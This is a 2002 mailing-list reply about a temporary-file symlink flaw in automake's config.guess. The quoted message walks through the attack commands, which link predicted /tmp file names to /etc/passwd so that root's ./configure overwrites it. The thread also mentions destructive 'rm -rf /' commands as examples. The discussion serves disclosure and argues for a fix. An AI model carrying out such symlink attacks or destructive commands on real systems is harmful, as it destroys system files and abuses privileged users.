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Re: Security vulnerability in automake (understood, agreed)

From: Allan Clark
Subject: Re: Security vulnerability in automake (understood, agreed)
Date: Mon, 10 Jun 2002 16:05:39 -0700


I see that the key here is that the attacker is a user with local access to a
system (be it by login, security hole in another binary giving shell access as
that binary's user, etc).  The admin merely runs the innocent package, and due
to the attacker's symlinks, causes damage to his own system.

OK, it can then occur more often than a "trojan horse ./configure" like my "rm
-fr /" comment.  Understood, and I agree that it's worth protecting.

Thanks for clarifying.


Lawrence Teo wrote:

> >Effort to reduce this kind of a security "hole" are quite fruitless, so
> >long as I
> >or anyone can build a ./configure that will simply "rm -fr /*";
> Please correct me if I'm wrong, but doesn't that again inaccurately assume
> what David pointed out: that the attacker and distributor/provider are the
> same person? If the attacker is not the provider, then there's no way for
> the attacker to get a user to run a configure with "rm -rf /". Yet, if
> config.guess still contains that "hole", then an attacker can still cause
> some damage.
> Maybe I should explain my attack again. Attacker sets up symlinks in /tmp
> like this:
> attacker$ cd /tmp
> attacker$ mkdir package-1.0.0
> attacker$ cd package-1.0.0
> attacker$ ln -s /etc/passwd dummy-7836.c
> attacker$ ln -s /etc/passwd dummy-7837.c
> attacker$ ln -s /etc/passwd dummy-7838.c
> [....]
> Now, the admin downloads package-1.0.0.tar.gz in its original, untampered
> form. Attacker has no way to modify package-1.0.0.tar.gz. But
> package-1.0.0.tar.gz contains the config.guess "hole". Admin builds and
> installs it as follows:
> admin$ su -
> root# cd /tmp
> root# tar zxvf package-1.0.0.tar.gz
> root# cd package-1.0.0
> root# ./configure
> root# make
> root# make install
> Since configure calls config.guess, which in turn overwrites the dummy-$$.c
> file (if config.guess happens to run as the attacker's predicted PID),
> /etc/passwd is hosed. All this while, attacker does not need to modify
> package-1.0.0.tar.gz to introduce malicious scripts.
> This is just one way to perform an attack, and there may be others. I do
> know that Slackware's build scripts use the /tmp directory for building as
> root, so it may be vulnerable to this attack.
> Lawrence
> --
> Lawrence Teo
> lcteo at uncc dot edu
> _________________________________________________________________
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